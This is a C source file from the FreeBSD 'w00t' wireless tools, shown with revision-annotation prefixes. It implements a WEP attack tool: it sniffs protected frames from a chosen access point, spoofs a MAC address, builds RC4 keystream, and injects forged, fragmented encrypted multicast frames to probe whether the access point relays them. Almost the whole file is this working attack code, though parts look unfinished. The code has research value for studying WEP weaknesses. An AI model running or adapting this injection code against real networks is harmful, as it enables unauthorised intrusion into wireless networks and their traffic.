1160996Ssam/*-
2160996Ssam * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3160996Ssam * All rights reserved.
4160996Ssam *
5160996Ssam * Redistribution and use in source and binary forms, with or without
6160996Ssam * modification, are permitted provided that the following conditions
7160996Ssam * are met:
8160996Ssam * 1. Redistributions of source code must retain the above copyright
9160996Ssam *    notice, this list of conditions and the following disclaimer.
10160996Ssam * 2. Redistributions in binary form must reproduce the above copyright
11160996Ssam *    notice, this list of conditions and the following disclaimer in the
12160996Ssam *    documentation and/or other materials provided with the distribution.
13160996Ssam *
14160996Ssam * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15160996Ssam * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16160996Ssam * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17160996Ssam * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18160996Ssam * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19160996Ssam * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20160996Ssam * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21160996Ssam * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22160996Ssam * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23160996Ssam * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24160996Ssam * SUCH DAMAGE.
25160996Ssam *
26160996Ssam * $FreeBSD$
27160996Ssam */
28160996Ssam#include <sys/time.h>
29160996Ssam#include <sys/types.h>
30160996Ssam#include <sys/socket.h>
31160996Ssam#include <sys/uio.h>
32160996Ssam#include <netinet/in.h>
33160996Ssam#include <arpa/inet.h>
34160996Ssam#include <netinet/in_systm.h>
35160996Ssam#include <netinet/ip.h>
36160996Ssam#include <string.h>
37160996Ssam#include <stdio.h>
38160996Ssam#include <stdlib.h>
39160996Ssam#include <unistd.h>
40160996Ssam#include <fcntl.h>
41160996Ssam#include <err.h>
42160996Ssam#include <assert.h>
43160996Ssam#include <zlib.h>
44160996Ssam#include "w00t.h"
45160996Ssam
46160996Ssamenum {
47160996Ssam	S_START = 0,
48160996Ssam	S_WAIT_RELAY,
49160996Ssam};
50160996Ssam
51160996Ssamstruct queue {
52160996Ssam	struct ieee80211_frame *wh;
53160996Ssam	int len;
54160996Ssam
55160996Ssam	char *buf;
56160996Ssam	int live;
57160996Ssam	struct queue *next;
58160996Ssam};
59160996Ssam
60160996Ssamstruct params {
61160996Ssam	int rx;
62160996Ssam	int tx;
63160996Ssam
64160996Ssam	int tap;
65160996Ssam
66160996Ssam	char mcast[5];
67160996Ssam	char mac[6];
68160996Ssam	char ap[6];
69160996Ssam
70160996Ssam	char prga[2048];
71160996Ssam	int prga_len;
72160996Ssam
73160996Ssam	int state;
74160996Ssam
75160996Ssam	struct queue *q;
76160996Ssam
77160996Ssam	char packet[2048];
78160996Ssam	int packet_len;
79160996Ssam	struct timeval last;
80160996Ssam
81160996Ssam	int seq;
82160996Ssam
83160996Ssam	unsigned char guess;
84160996Ssam};
85160996Ssam
86160996Ssamint wanted(struct params *p, struct ieee80211_frame *wh, int len)
87160996Ssam{
88160996Ssam	char *bssid, *sa;
89160996Ssam
90160996Ssam	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
91160996Ssam		bssid = wh->i_addr1;
92160996Ssam		sa = wh->i_addr2;
93160996Ssam	}
94160996Ssam	else {
95160996Ssam		bssid = wh->i_addr2;
96160996Ssam		sa = wh->i_addr3;
97160996Ssam	}
98160996Ssam
99160996Ssam	if (memcmp(bssid, p->ap, 6) != 0)
100160996Ssam		return 0;
101160996Ssam
102262007Skevlo	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
103160996Ssam		printf("Got non WEP packet...\n");
104160996Ssam		return 0;
105160996Ssam	}
106160996Ssam
107160996Ssam	/* my own shit */
108160996Ssam	if (memcmp(p->mac, sa, 6) == 0)
109160996Ssam		return 0;
110160996Ssam
111160996Ssam	return 1;
112160996Ssam}
113160996Ssam
114160996Ssamvoid enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
115160996Ssam{
116160996Ssam	struct queue *q = p->q;
117160996Ssam	int qlen = 0;
118160996Ssam	char *ret = NULL;
119160996Ssam	struct queue *last = NULL;
120160996Ssam
121160996Ssam	/* find a slot */
122160996Ssam	while (q) {
123160996Ssam		if (q->live)
124160996Ssam			qlen++;
125160996Ssam		else {
126160996Ssam			/* recycle */
127160996Ssam			ret = q->buf;
128160996Ssam			break;
129160996Ssam		}
130160996Ssam
131160996Ssam		last = q;
132160996Ssam		q = q->next;
133160996Ssam	}
134160996Ssam
135160996Ssam	/* need to create slot */
136160996Ssam	if (!q) {
137160996Ssam		q = (struct queue*) malloc(sizeof(*q));
138160996Ssam		if (!q)
139160996Ssam			err(1, "malloc()");
140160996Ssam		memset(q, 0, sizeof(*q));
141160996Ssam
142160996Ssam		/* insert */
143160996Ssam		if (!p->q)
144160996Ssam			p->q = q;
145160996Ssam		else {
146160996Ssam			assert(last);
147160996Ssam			last->next = q;
148160996Ssam		}
149160996Ssam	}
150160996Ssam
151160996Ssam	q->live = 1;
152160996Ssam	q->buf = *buf;
153160996Ssam	q->len = len;
154160996Ssam	q->wh = wh;
155160996Ssam
156160996Ssam	qlen++;
157160996Ssam
158160996Ssam	if (qlen > 5)
159160996Ssam		printf("Enque.  Size: %d\n", qlen);
160160996Ssam	*buf = ret;
161160996Ssam}
162160996Ssam
163160996Ssamvoid send_packet(struct params *p)
164160996Ssam{
165160996Ssam        int rc;
166160996Ssam
167160996Ssam        rc = inject(p->tx, p->packet, p->packet_len);
168160996Ssam        if (rc == -1)
169160996Ssam                err(1, "inject()");
170160996Ssam        if (rc != p->packet_len) {
171160996Ssam                printf("Wrote %d/%d\n", rc, p->packet_len);
172160996Ssam                exit(1);
173160996Ssam        }
174160996Ssam
175160996Ssam        if (gettimeofday(&p->last, NULL) == -1)
176160996Ssam                err(1, "gettimeofday()");
177160996Ssam}
178160996Ssam#include <openssl/rc4.h>
179160996Ssamvoid send_mcast(struct params *p, unsigned char x)
180160996Ssam{
181160996Ssam	struct ieee80211_frame *wh;
182160996Ssam	short *seq;
183160996Ssam	struct queue *q = p->q;
184160996Ssam	char *data, *ptr;
185160996Ssam	int len;
186160996Ssam	uLong crc = crc32(0L, Z_NULL, 0);
187160996Ssam	uLong *pcrc;
188160996Ssam	int i;
189160996Ssam	int need_frag = 0;
190160996Ssam	char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
191160996Ssam
192160996Ssam	assert(q);
193160996Ssam
194160996Ssam	/* 802.11 */
195160996Ssam	memset(p->packet, 0, sizeof(p->packet));
196160996Ssam	wh = (struct ieee80211_frame*) p->packet;
197160996Ssam	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198160996Ssam	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199160996Ssam	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200262007Skevlo	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
201160996Ssam
202160996Ssam	wh->i_dur[0] = 0x69;
203160996Ssam
204160996Ssam	memcpy(wh->i_addr1, p->ap, 6);
205160996Ssam	memcpy(wh->i_addr2, p->mac, 6);
206160996Ssam	memcpy(wh->i_addr3, p->mcast, 5);
207160996Ssam	wh->i_addr3[5] = x;
208160996Ssam
209160996Ssam	seq = (short*) wh->i_seq;
210160996Ssam	*seq = seqfn(p->seq++, 0);
211160996Ssam
212160996Ssam	/* IV */
213160996Ssam	data = (char*) (wh+1);
214160996Ssam	ptr = (char*) (q->wh+1);
215160996Ssam	memcpy(data, ptr, 3);
216160996Ssam
217160996Ssam	if (p->prga_len == 0) {
218160996Ssam
219160996Ssam		RC4_KEY k;
220160996Ssam		unsigned char key[8];
221160996Ssam
222160996Ssam		memset(&key[3], 0x61, 5);
223160996Ssam		memcpy(key, (q->wh+1), 3);
224160996Ssam		p->prga_len = 128;
225160996Ssam
226160996Ssam		RC4_set_key(&k, 8, key);
227160996Ssam		memset(p->prga, 0, sizeof(p->prga));
228160996Ssam		RC4(&k, p->prga_len, p->prga, p->prga);
229160996Ssam
230160996Ssam
231160996Ssam#if 0
232160996Ssam		int ptl = q->len;
233160996Ssam		char *pt;
234160996Ssam
235160996Ssam		pt = known_pt(q->wh, &ptl);
236160996Ssam		ptr += 4;
237160996Ssam		p->prga_len = ptl;
238160996Ssam		for (i = 0; i < p->prga_len; i++)
239160996Ssam			p->prga[i] = ptr[i] ^ pt[i];
240160996Ssam#endif
241160996Ssam	}
242160996Ssam
243160996Ssam	/* data */
244160996Ssam	data += 4;
245160996Ssam	memcpy(data, payload, sizeof(payload));
246160996Ssam	p->prga_len = 12;
247160996Ssam	len = p->prga_len + 1 - 4;
248160996Ssam
249160996Ssam#if 1
250160996Ssam	if (len < sizeof(payload)) {
251160996Ssam		need_frag = len;
252160996Ssam		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
253160996Ssam	}
254160996Ssam#endif
255160996Ssam
256160996Ssam	/* crc */
257160996Ssam	pcrc = (uLong*) (data+len);
258160996Ssam	*pcrc = crc32(crc, data, len);
259160996Ssam
260160996Ssam	/* wepify */
261160996Ssam	len += 4;
262160996Ssam	for (i = 0; i < (len); i++) {
263160996Ssam		assert( i <= p->prga_len);
264160996Ssam		data[i] ^= p->prga[i];
265160996Ssam	}
266160996Ssam//	data[i] ^= x;
267160996Ssam
268160996Ssam	len += sizeof(*wh);
269160996Ssam	p->packet_len = len + 4;
270160996Ssam	send_packet(p);
271160996Ssam
272160996Ssam	/* the data we sent is too fucking short */
273160996Ssam	if (need_frag) {
274160996Ssam		memset(data, 0, len);
275160996Ssam
276160996Ssam		/* 802.11 */
277160996Ssam		*seq = seqfn(p->seq-1, 1);
278160996Ssam		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
279160996Ssam
280160996Ssam		/* data */
281160996Ssam		len = sizeof(payload) - need_frag;
282160996Ssam		assert(len > 0 && len <= (p->prga_len - 4));
283160996Ssam		memcpy(data, &payload[need_frag], len);
284160996Ssam
285160996Ssam		/* crc */
286160996Ssam		crc = crc32(0L, Z_NULL, 0);
287160996Ssam		len = p->prga_len - 4;
288160996Ssam		pcrc = (uLong*) (data+len);
289160996Ssam		*pcrc = crc32(crc, data, len);
290160996Ssam
291160996Ssam		/* wepify */
292160996Ssam		len += 4;
293160996Ssam		for (i = 0; i < len; i++) {
294160996Ssam			assert( i < p->prga_len);
295160996Ssam			data[i] ^= p->prga[i];
296160996Ssam		}
297160996Ssam
298160996Ssam		len += sizeof(*wh) + 4;
299160996Ssam		p->packet_len = len;
300160996Ssam		send_packet(p);
301160996Ssam	}
302160996Ssam}
303160996Ssam
304160996Ssamvoid send_queue(struct params *p)
305160996Ssam{
306160996Ssam	struct queue *q = p->q;
307160996Ssam	int i;
308160996Ssam
309160996Ssam	assert(q);
310160996Ssam	assert(q->live);
311160996Ssam
312160996Ssam	for (i = 0; i < 5; i++) {
313160996Ssam		send_mcast(p, p->guess++);
314160996Ssam	}
315160996Ssam
316160996Ssam	p->state = S_WAIT_RELAY;
317160996Ssam}
318160996Ssam
319160996Ssamvoid got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
320160996Ssam{
321160996Ssam	printf("ao\n");
322160996Ssam}
323160996Ssam
324160996Ssamvoid read_wifi(struct params *p)
325160996Ssam{
326160996Ssam	static char *buf = 0;
327160996Ssam	static int buflen = 4096;
328160996Ssam	struct ieee80211_frame *wh;
329160996Ssam	int rc;
330160996Ssam
331160996Ssam	if (!buf) {
332160996Ssam		buf = (char*) malloc(buflen);
333160996Ssam		if (!buf)
334160996Ssam			err(1, "malloc()");
335160996Ssam	}
336160996Ssam
337160996Ssam	rc = sniff(p->rx, buf, buflen);
338160996Ssam	if (rc == -1)
339160996Ssam		err(1, "sniff()");
340160996Ssam
341160996Ssam	wh = get_wifi(buf, &rc);
342160996Ssam	if (!wh)
343160996Ssam		return;
344160996Ssam
345160996Ssam	/* relayed macast */
346160996Ssam	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347160996Ssam		       IEEE80211_FC0_SUBTYPE_DATA) &&
348160996Ssam	    (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349160996Ssam	    (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350160996Ssam	    (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351160996Ssam	    (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352160996Ssam		got_mcast(p, wh, rc);
353160996Ssam		return;
354160996Ssam	}
355160996Ssam
356160996Ssam	/* data */
357160996Ssam	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358160996Ssam		       IEEE80211_FC0_SUBTYPE_DATA)) {
359160996Ssam		if (!wanted(p, wh, rc))
360160996Ssam			return;
361160996Ssam
362160996Ssam		enque(p, &buf, wh, rc);
363160996Ssam		if (p->state == S_START)
364160996Ssam			send_queue(p);
365160996Ssam		return;
366160996Ssam	}
367160996Ssam}
368160996Ssam
369160996Ssamvoid own(struct params *p)
370160996Ssam{
371160996Ssam	struct timeval tv;
372160996Ssam	struct timeval *to = NULL;
373160996Ssam	fd_set fds;
374160996Ssam	int tout = 10*1000;
375160996Ssam
376160996Ssam	if (p->state == S_WAIT_RELAY) {
377160996Ssam		int el;
378160996Ssam
379160996Ssam		/* check timeout */
380160996Ssam		if (gettimeofday(&tv, NULL) == -1)
381160996Ssam			err(1, "gettimeofday()");
382160996Ssam
383160996Ssam		el = elapsed(&p->last, &tv);
384160996Ssam
385160996Ssam		/* timeout */
386160996Ssam		if (el >= tout) {
387160996Ssam			if (p->q && p->q->live) {
388160996Ssam				send_queue(p);
389160996Ssam				el = 0;
390160996Ssam			} else {
391160996Ssam				p->state = S_START;
392160996Ssam				return;
393160996Ssam			}
394160996Ssam		}
395160996Ssam		el = tout - el;
396160996Ssam		tv.tv_sec = el/1000/1000;
397160996Ssam		tv.tv_usec = el - tv.tv_sec*1000*1000;
398160996Ssam		to = &tv;
399160996Ssam	}
400160996Ssam
401160996Ssam	FD_ZERO(&fds);
402160996Ssam	FD_SET(p->rx, &fds);
403160996Ssam
404160996Ssam	if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
405160996Ssam		err(1, "select()");
406160996Ssam
407160996Ssam	if (FD_ISSET(p->rx, &fds))
408160996Ssam		read_wifi(p);
409160996Ssam}
410160996Ssam
411160996Ssamvoid usage(char *name)
412160996Ssam{
413160996Ssam	printf("Usage %s <opts>\n"
414160996Ssam	       "-h\thelp\n"
415160996Ssam	       "-b\t<bssid>\n"
416160996Ssam	       "-t\t<tap>\n"
417160996Ssam	       , name);
418160996Ssam	exit(1);
419160996Ssam}
420160996Ssam
421160996Ssamint main(int argc, char *argv[])
422160996Ssam{
423160996Ssam	struct params p;
424195848Ssam	char *iface = "wlan0";
425160996Ssam	char *tap = "tap0";
426160996Ssam	int ch;
427160996Ssam
428160996Ssam	memset(&p, 0, sizeof(p));
429160996Ssam	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
430160996Ssam	p.seq = getpid();
431160996Ssam	memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
432160996Ssam
433160996Ssam	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
434160996Ssam		switch (ch) {
435160996Ssam		case 't':
436160996Ssam			tap = optarg;
437160996Ssam			break;
438160996Ssam
439160996Ssam		case 'b':
440160996Ssam			if (str2mac(p.ap, optarg) == -1) {
441160996Ssam				printf("Can't parse BSSID\n");
442160996Ssam				exit(1);
443160996Ssam			}
444160996Ssam			break;
445160996Ssam
446160996Ssam		case 'h':
447160996Ssam		default:
448160996Ssam			usage(argv[0]);
449160996Ssam			break;
450160996Ssam		}
451160996Ssam	}
452160996Ssam
453160996Ssam	if ((p.rx = open_rx(iface)) == -1)
454160996Ssam		err(1, "open_rx()");
455160996Ssam	if ((p.tx = open_tx(iface)) == -1)
456160996Ssam		err(1, "open_tx()");
457160996Ssam
458160996Ssam	if ((p.tap = open_tap(tap)) == -1)
459160996Ssam		err(1, "open_tap()");
460160996Ssam	if (set_iface_mac(tap, p.mac) == -1)
461160996Ssam		err(1, "set_iface_mac()");
462160996Ssam
463160996Ssam	p.state = S_START;
464160996Ssam	while (1)
465160996Ssam		own(&p);
466160996Ssam
467160996Ssam	exit(0);
468160996Ssam}
469